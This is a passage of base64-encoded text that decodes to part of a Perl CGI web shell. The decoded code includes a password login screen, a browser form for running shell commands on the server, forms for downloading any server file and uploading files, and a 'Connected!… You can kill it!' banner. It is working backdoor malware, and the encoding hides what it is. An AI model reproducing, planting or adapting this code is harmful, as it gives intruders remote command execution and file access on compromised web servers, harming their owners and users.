8Zm9udCBjb2xvcj0iIzAwOTkwMCI+IFBsZWFzZSBXYWl0IC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+IDxicj4KCjxmb250IGNvbG9yPSIjMDA5OTAwIj4gVHJ5aW5nIGNvbm5lY3QgdG8gU2VydmVyIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgo8Zm9udCBjb2xvcj0iI0YwMDAwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPn5cJDwvZm9udD4gQ29ubmVjdGVkICEgPC9mb250Pjxicj4KPGZvbnQgY29sb3I9IiMwMDk5MDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+IENoZWNraW5nIFNlcnZlciAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuIC4gLiAuPC9mb250PiA8YnI+Cgo8Zm9udCBjb2xvcj0iIzAwOTkwMCI+PGZvbnQgY29sb3I9IiNGRkYwMDAiPiRTZXJ2ZXJOYW1lfjwvZm9udD4gVHJ5aW5nIGNvbm5lY3QgdG8gQ29tbWFuZCAuIC4gLiAuIC4gLiAuIC4gLiAuIC48L2ZvbnQ+PGJyPgoKPGZvbnQgY29sb3I9IiNGMDAwMDAiPjxmb250IGNvbG9yPSIjRkZGMDAwIj4kU2VydmVyTmFtZX48L2ZvbnQ+XCQgQ29ubmVjdGVkIENvbW1hbmQhIDwvZm9udD48YnI+Cjxmb250IGNvbG9yPSIjMDA5OTAwIj48Zm9udCBjb2xvcj0iI0ZGRjAwMCI+JFNlcnZlck5hbWV+PGZvbnQgY29sb3I9IiNGMDAwMDAiPlwkPC9mb250PjwvZm9udD4gT0shIFlvdSBjYW4ga2lsbCBpdCE8L2ZvbnQ+CjwvdHI+CjwvdGJvZHk+PC90YWJsZT4KPGJyPgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsKVHlwaW5nVGV4dC5ydW5BbGwoKTsKCjwvc2NyaXB0PgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgSHRtbFNwZWNpYWxDaGFycygkKXsKCW15ICR0ZXh0ID0gc2hpZnQ7CgkkdGV4dCA9fiBzLyYvJmFtcDsvZzsKCSR0ZXh0ID1+IHMvIi8mcXVvdDsvZzsKCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsKCSR0ZXh0ID1+IHMvPC8mbHQ7L2c7CgkkdGV4dCA9fiBzLz4vJmd0Oy9nOwoJcmV0dXJuICR0ZXh0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEFkZExpbmtEaXIoJCkKewoJbXkgJGFjPXNoaWZ0OwoJbXkgQGRpcj0oKTsKCWlmKCRXaW5OVCkKCXsKCQlAZGlyPXNwbGl0KC9cXC8sJEN1cnJlbnREaXIpOwoJfWVsc2UKCXsKCQlAZGlyPXNwbGl0KCIvIiwmdHJpbSgkQ3VycmVudERpcikpOwoJfQoJbXkgJHBhdGg9IiI7CglteSAkcmVzdWx0PSIiOwoJZm9yZWFjaCAoQGRpcikKCXsKCQkkcGF0aCAuPSAkXy4kUGF0aFNlcDsKCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuJHBhdGguIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGJyPkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KClBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSBmb3IgbG9nZ2luZyBpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRm9ybQp7CglwcmludCA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CkxvZ2luIDogQWRtaW5pc3RyYXRvcjxicj4KUGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgZm9vdGVyIGZvciB0aGUgSFRNTCBQYWdlCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50UGFnZUZvb3Rlcgp7CglwcmludCAiPGJyPjxmb250IGNvbG9yPXJlZD5vLS0tWyAgPGZvbnQgY29sb3I9I2ZmOTkwMD5FZGl0IGJ5ICRFZGl0UGVyc2lvbiA8L2ZvbnQ+ICBdLS0tbzwvZm9udD48L2NvZGU+PC9jZW50ZXI+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0